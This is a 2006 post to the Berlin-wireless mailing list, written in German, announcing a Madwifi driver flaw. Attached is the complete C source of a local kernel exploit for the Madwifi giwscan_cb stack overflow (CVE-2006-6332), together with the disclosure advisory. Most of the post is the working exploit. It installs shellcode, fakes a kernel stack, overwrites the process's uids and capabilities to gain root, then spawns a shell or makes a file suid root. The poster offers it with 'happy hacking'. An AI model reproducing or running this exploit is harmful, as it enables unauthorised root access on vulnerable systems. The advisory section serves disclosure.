[Berlin-wireless] Fehler im Madwifi-Treiber

Florian Walther florian.walther
Fr Dez 8 15:00:10 CET 2006


Wen es interessiert, hier ist der passende exploit (und weitere
technische Informationen) dazu, happy hacking

Am 08.12.06 schrieb Marlen Caemmerer <nosy at c-base.org>:
>
> http://www.heise.de/netze/news/meldung/82209/from/rss09

/~flow
-- 
0x417E9C18
556C BCFF 9118 8915 835B  C2C2 3756 3407 417E 9C18
<http://pgp.mit.edu:11371/pks/lookup?search=0x417E9C18&op=index>
skype:florian.walther
-------------- nächster Teil --------------
/* Madwifi giwscan_cb buffer overflow local kernel exploit
 *
 * CVE-2006-6332
 *
 * (C) 2006 Julien TINNES and Laurent BUTTI
 *
 * Use this local exploit in conjonction with the metasploit module
 *
 * The vulnerable function is called when asking for scan result (which you can do
 *  without privileges). 
 *  However you need to wait for your card to scan for access point before this exploit can be successfull.
 *
 * The best way to test this exploit is:
 * 1. start the metasploit module on another machine
 * 2. Bring your card up. (e.g. ifconfig ath0 up)
 * 3. ./madexploit
 *
 * This will always work because the card will automatically start scanning for APs when your
 * bring it up.
 * For testing purpose you can also launch this exploit as root, It'll automatically issue a
 * scanning request.
 * There are also ways to remotely make the card start scanning for APs. Will you find them ?
 *
 * Use -s if your kernel uses 4K stacks
 * Use '-c madexploit' if you get a segfault (actually a BUG()) after a "Success" message
 *
 * This was tested on Ubuntu 6.10, Knoppix 5.0.1 (madwifi 0.9.x) and Debian testing
 *
 * TODO: release process' locks so that system remains stable (or at least hack the task_struct to get rid of the BUG()s)
 *
 * Version 0.5
 */


#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>		
#include <netinet/if_ether.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <assert.h>
#include <errno.h>
#include <stdint.h>
#include <getopt.h>

// #include "iwlib.h"
/* defs from wireless.h and iwlib.h */

#define IW_SCAN_MAX_DATA        4096
#ifndef __user
#define __user
#endif

#define NOPS 0x90909090

#define TASK_SIZE 0xC0000000

#define SIOCSIWSCAN     0x8B18          /* trigger scanning (list cells) */
#define SIOCGIWSCAN     0x8B19          /* get scanning results */

struct  iw_point
{
  void __user   *pointer;       /* Pointer to the data  (in user space) */
  __u16         length;         /* number of fields or size in bytes */
  __u16         flags;          /* Optional params */
};

union   iwreq_data
{
	struct iw_point data;           /* Other large parameters */
};

struct  iwreq
{
        union
        {
                char    ifrn_name[IFNAMSIZ];    /* if name, e.g. "eth0" */
        } ifr_ifrn;

        /* Data part (defined just above) */
        union   iwreq_data      u;
};

#define IFNAME "ath0"

/* This magic address will pass encode_ie in madwifi
 * '3' is 0x33! */
#define	KSCADDR	0x33333333

#define USCADDR 0x50000000

/* stringification */
#define xstr(s) str(s)
#define str(s) #s

#define KSTACKADDR 0x60000100

#define PGS	(4096)

/* 4046 if 4K STACK is defined */
#define THREAD_SIZE             (8192)
#define THREAD_SIZE8K		(8192)
#define THREAD_SIZE4K		(4096)

#define __syscall_return(type, res) \
do { \
	if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) { \
		errno = -(res); \
		res = -1; \
	} \
	return (type) (res); \
} while (0)

#define patchsc_with_addr(sc, addr) \
do { \
	*((void (**)())(sc+1))=addr;\
} while (0)

void	*installsc(void *scaddr, void *sh, unsigned int len);
void	*getsc(char *filename, uint32_t *len);

//_syscall3(int, myioctl2, int, d, int, request, struct iwreq *, toto);

// jmp -2
//static char sc[]="\xeb\xfe\xeb\xfe\xeb\xfe";
// mov [0], eax
//static char sc[]="\xA3\x00\x00\x00\x00";
// exit(42);
//static char sc[]="\x31\xC0\x40\xBB\x69\x7A\x00\x00\xCD\x80";
// mov eax, 0x01020304; jmp eax

char sc[128]="\xB8\x04\x03\x02\x01\xFF\xE0";
uid_t puid;
int noexit=0;

char	*chmodfile=NULL;
char chmodname[1024];

unsigned int stackheur=0;
char	*ifname=IFNAME;

struct task_struct;

typedef struct {
	unsigned long seg;
} mm_segment_t;

mm_segment_t addr_limit;

/* thread_info.h */
struct thread_info {
        struct task_struct      *task;          /* main task structure */
	struct exec_domain	*exec_domain;	/* execution domain */
	unsigned long		flags;		/* low level flags */
	unsigned long		status;		/* thread-synchronous flags */
	__u32			cpu;		/* current CPU */
	int			preempt_count;	/* 0 => preemptable, <0 => BUG */
	mm_segment_t		addr_limit;
	/* continued */
};

int sys_ioctl(int d, int request, struct iwreq *toto) 
{ 
	long __res; 
	__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" 
			: "=a" (__res) 
			: "0" (__NR_ioctl),"ri" ((long)(d)),"c" ((long)(request)), 
			"d" ((long)(toto)) : "memory"); 
	__syscall_return(int,__res); 
}

struct iretstack {
	uint32_t	eip;
	uint32_t	cs;
	uint32_t	eflags;
	uint32_t	esp;
	uint32_t	ss;
} __attribute__((packed));

void	build_iretstack(struct iretstack *dest, uint32_t eip) {

	dest->eip=eip;
	asm("xorl %0, %0\n"
		"mov %%cs, %0\n"
		"pushf\n"
		"pop %%esi\n"
		"movl %%esi, %1\n"
		"movl %%esp, %2\n"
		"xorl %3, %3\n"
		"mov %%ss, %3\n"
		: "=r" (dest->cs),  "=r" (dest->eflags), "=r" (dest->esp), "=r" (dest->ss)
		:
		: "esi"
	);
}

/* userland function, called after ksc_func */
void	usc_func(void) {
	int ret;

	printf("[+] Address space limit heuristic: 0x%lX\n", addr_limit.seg);

	if (getuid() == 0) {
		printf("[+] Success\n");
		if (chmodfile != NULL) {
			ret=chown(chmodfile, 0, 0);
			if (ret == -1) {
				perror("chown");
				exit(1);
			} else
				ret=chmod(chmodfile, 04755);
			if (ret == -1) {
				perror("chmod");
				exit(1);
			}

			if (noexit) {
				printf("[+] Sleeping forever\n");
				while(1) 
					sleep(10);
			} else
				/* we may BUG() here... */
				exit(0);
		} else 
			execlp("/bin/sh", "sh", NULL);
	} else {
		printf("[-] Failure\n");
		exit(42);
	}
}

static inline struct thread_info *current_thread_info(__u32 tsize) {
        struct thread_info *ti;
        //__asm__("andl %%esp,%0; ":"=r" (ti) : "0" (~(THREAD_SIZE - 1)));
        __asm__("andl %%esp,%0; ":"=r" (ti) : "0" (~(tsize - 1)));
        return ti;
}

/* Our kernel mode function */
void	ksc_func(void) {
	uid_t *tsk;
	
	/* Lame heuristic to try and detect 4K stacks */
	if (stackheur) {
		addr_limit.seg=current_thread_info(THREAD_SIZE4K)->addr_limit.seg;
		if (addr_limit.seg == TASK_SIZE)
			tsk=(uid_t *) (current_thread_info(THREAD_SIZE4K)->task);
		else
			tsk=(uid_t *) (current_thread_info(THREAD_SIZE8K)->task);
	} else {
		addr_limit.seg=current_thread_info(THREAD_SIZE8K)->addr_limit.seg;
		tsk=(uid_t *) (current_thread_info(THREAD_SIZE8K)->task);
	}

	/* look for uid,euid,suid,fsuid */
	while( (tsk[0] != puid) || (tsk [1] != puid) || (tsk [2] != puid) || (tsk [3] != puid) ) 
		tsk++;

	/* patch uids and gids */
	//tsk[0]=tsk[1]=tsk[2]=tsk[3]=0;
	memset(tsk, 0, 8*sizeof(uid_t));

	/* patch capabilities */
	tsk+=9;
	memset(tsk, 0xFFFFFFFF , 3*sizeof(uid_t));
	
	asm(".intel_syntax noprefix\n"
		"sti\n"
		"mov  esp, " xstr(KSTACKADDR) "\n"
		"iret\n"
	".att_syntax noprefix\n");
}

int	main(int argc, char **argv) {

	int	skfd, counter=0;
	struct iwreq	wrq;
        unsigned char *buffer = NULL;		/* Results */
	int	buflen = IW_SCAN_MAX_DATA; /* Min for compat WE<17 */

	printf("Madwifi SIOCGIWSCAN ioctl local exploit\n\n"
		"(C) 2006 Julien TINNES and Laurent BUTTI\n\n");

	/* support -c on self */
	if (( geteuid() == 0) && (getuid() !=0)) {
		setuid(0);
		setgid(0);
		execlp("/bin/sh", "sh", NULL);
	}

	for (;;) {
		int option_index = 0, c;
		static struct option long_options[] =
		{
			{"stackheur", 0, 0, 's'},
			{"help", 0, 0, 'h'},
			{"interface", 1, 0, 'i'},
			{"chown/chmod", 1, 0, 'c'},
			{"noexit", 1, 0, 'n'},
			{0,0,0,0}
		};

		c = getopt_long (argc, argv, "nc:shi:", long_options, &option_index);

		if (c == -1)
			break;
		
		switch (c)
		{
			case 0:
				printf("This case should'nt happen\n");
				break;

			case 's':
				printf("[+] Using stack heuristic \n");
				stackheur=1;
				break;
			case 'i':
				ifname=optarg;
				break;
			case 'c':
				if ( (strlen(optarg)+1) > sizeof(chmodname))
					exit(1);
				/* We better not rely on the stack */
				strcpy(chmodname, optarg);
				chmodfile=chmodname;
				printf("[+] chmod/chown %s if success\n", chmodfile);
				break;
			case 'n':
				noexit=1;
				break;
			case 'h':
			case '?':
			default:
				printf("Usage %s [options]\n\n"
						"Options:\n"
						"-s\t Use heuristic to determine kernel stack size\n"
						"-i <iface>\t Use interface 'iface'\n"
						"-c <file>\t Make 'file' suid root\n"
						"-n\tdo not exit after chown/chmod\n"
						, argv[0]);
				exit(1);
		}
	}



	puid=getuid();
	
	printf("[+] Using interface %s\n", ifname);

	/* install kernel shellcode */
	//scmap=getsc("ksc", &sclen);
	patchsc_with_addr(sc, ksc_func);

	//if (installsc((void *) KSCADDR, scmap, sclen) == MAP_FAILED) {
	if (installsc((void *) KSCADDR, sc, sizeof(sc)) == MAP_FAILED) {
		perror("installksc");
		exit(1);
	}

	printf("[+] Kernel shellcode installed at 0x%X\n", KSCADDR);

	/* install user shellcode */
	//scmap=getsc("usc", &sclen);
	patchsc_with_addr(sc, usc_func);

	//if (installsc((void *) USCADDR, scmap, sclen) == MAP_FAILED) {
	if (installsc((void *) USCADDR, sc, sizeof(sc)) == MAP_FAILED) {
		perror("installusc");
		exit(1);
	}

	printf("[+] User shellcode installed at 0x%X\n", USCADDR);

	/* allocate space for kernel stack */
	if (installsc((void *) KSTACKADDR, "", 0) == MAP_FAILED) {
		perror("installkstack");
		exit(1);
	}

	/* This is a lame workaround to prevent giwscan_cb from crashing
 	 * before returning. We create two pages so that structure pointers
 	 * can be recursively dereferenced.
	 * A proper exploit should not do that :) */

	/* allocate self-dereferencable page */
	if (installsc((void *) NOPS, "", 0) == MAP_FAILED) {
		perror("self-deref-page");
		exit(1);
	}

	if (installsc((void *) 0, "", 0) == MAP_FAILED) {
		perror("self-deref-page");
		exit(1);
	}
	bzero(NULL,  PGS);

	assert((KSTACKADDR & 0xFFF) > sizeof(struct iretstack));
	build_iretstack( (struct iretstack *) KSTACKADDR, USCADDR);

	printf("[+] Fake stack installed at 0x%X (CS: 0x%X, EFLAGS: 0x%X, ESP: 0x%X, SS: 0x%X, EIP: 0x%X)\n", KSTACKADDR, ((struct iretstack *) KSTACKADDR)->cs, ((struct iretstack *) KSTACKADDR)->eflags, ((struct iretstack *) KSTACKADDR)->esp, ((struct iretstack *) KSTACKADDR)->ss, ((struct iretstack *) KSTACKADDR)->eip);

	/* trigger vulnerable function */
	buffer = malloc(buflen);
	if (!buffer) {
		perror("malloc");
		exit(1);
	}

	/* Initialize wrq */
	wrq.u.data.pointer = NULL;
	wrq.u.data.flags = 0;
	wrq.u.data.length = 0;

	strncpy(wrq.ifr_name, ifname, IFNAMSIZ);

	if ((skfd= socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
		perror("socket");
		exit(1);
	}

	if(ioctl(skfd, SIOCSIWSCAN, &wrq) == -1) {
		perror("[-] ioctl SIOCSIWSCAN");
		printf("    -> This is not fatal (you can wait or ifdown/up your wifi interface to speedup the process)\n");
	} else {
		printf("[+] Launching new scan with ioctl SIOCSIWSCAN\n");
	}

	/* Initialize wrq */
	wrq.u.data.pointer = buffer;
	wrq.u.data.flags = 0;
	wrq.u.data.length = buflen;

	while (1) {
		printf("[.] Trying to trigger bug in giwscan_cb (%d) (you must run the metasploit module)\n", counter++);
		if (sys_ioctl(skfd, SIOCGIWSCAN, &wrq) == -1) {
		//if (ioctl(skfd, SIOCGIWSCAN, &wrq) == -1) {
			perror("[-] ioctl SIOCGIWSCAN");
			exit(1);
		}
		sleep(1);
	}
	return 0;
}

/* allocate memory and install shellcode at address scaddr (pads with nops so that shellcode is page-aligned) */
void	*installsc(void *scaddr, void *sh, unsigned int len) {
	void	*scpt;

	assert(getpagesize() == PGS);

	/* allocate one extra page which will be filled by nops */
	scpt=mmap((void *)((uint32_t) scaddr & ~(PGS-1)), PGS + len, PROT_WRITE | PROT_READ | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS | MAP_LOCKED | MAP_POPULATE, 0, 0);	
	
	if (scpt == MAP_FAILED) {
		perror("mmap");
		return scpt;
	}

	/* fill first page with nops */
	memset(scpt, NOPS, PGS);
	/* and copy shellcode */
	memcpy(scpt+PGS, sh, len);
	return scpt;
}

/* map shellcode found in filename in memory, return its address */
void	*getsc(char *filename, uint32_t *len) {
	int	scfd;
	void	*scmap;
	struct	stat scstat;

	scfd=stat(filename, &scstat);
	if (scfd == -1) {
		perror("stat");
		exit(1);
	}

	*len=scstat.st_size;

	scfd=open(filename, O_RDONLY);

	if (scfd == -1) {
		perror("open");
		exit(1);
	}

	scmap=mmap(0, *len, PROT_READ, MAP_SHARED, scfd, 0);

	if (scmap == MAP_FAILED) {
		perror("mmap");
		exit(1);
	}

	return scmap;	
}

-------------- nächster Teil --------------
Ein Dateianhang mit Binärdaten wurde abgetrennt...
Dateiname   : madwifi_giwscan_cb.rb
Dateityp    : application/octet-stream
Dateigröße  : 4278 bytes
Beschreibung: nicht verfügbar
URL         : http://lists.olsrexperiment.de/cgi-bin/mailman/private/berlin/attachments/20061208/4549850d/attachment.obj 
-------------- nächster Teil --------------
Name:		Madwifi SIOCGIWSCAN buffer overflow
Vendor:		http://www.madwifi.org
Release date: 	December, 7th 2006
CVE ID:		CVE-2006-6332
Authors:	Laurent BUTTI, Jerome RAZNIEWSKI, Julien TINNES


1. Description

There  is a  buffer  overflow  in the  madwifi  Atheros  driver in  some
functions called by SIOCSIWSCAN ioctl.

This  issue is  remotely exploitable  because ioctl  SIOCSIWSCAN may  be
called  automatically by  some connexion  managers (either  directly, by
using iwlib or  by calling iwlist) when  trying to get a  list of nearby
access points.

2. Details

There  is  a  stack  buffer   overflow  in  both  the  giwscan_cb()  and
encode_ie()  functions  (ieee80211_wireless.c).   The  first  issue,  in
giwscan_cb, is  related with insufficient  checks on the length  in some
802.11 information elements which are controlled by the attacker:

	memcpy(buf, se->se_wpa_ie, se->se_wpa_ie[1] + 2);

The second issue is improper  boundary checks in encode_ie() where ielen
is never checked with bufsize.

	for (i = 0; i < ielen && bufsize > 2; i++)
		p += sprintf(p, "%02x", ie[i]);

A properly  crafted 802.11 beacon  or probe response frame  will trigger
the bug  when a process tries  to get scanning results  by calling ioctl
SIOCGIWSCAN. The information element used  by the attacker can be either
WPA  IE, RSN  IE, WMM  IE or  ATH IE  and will  lead to  a kernel  stack
overflow.

3. Vendor status

The vendor was notified on December, 6th 2006 and issued version 0.9.2.1
to correct the issue.

4. Authors

Laurent BUTTI <laurent.butti at francetelecom.com>
Jerome RAZNIEWSKI <jerome.razniewski at francetelecom.com>
Julien TINNES <julien.tinnes at francetelecom.com>

-------------- nächster Teil --------------
_______________________________________________
Berlin mailing list
Berlin at olsrexperiment.de
https://www.olsrexperiment.de/cgi-bin/mailman/listinfo/berlin




Mehr Informationen über die Mailingliste Berlin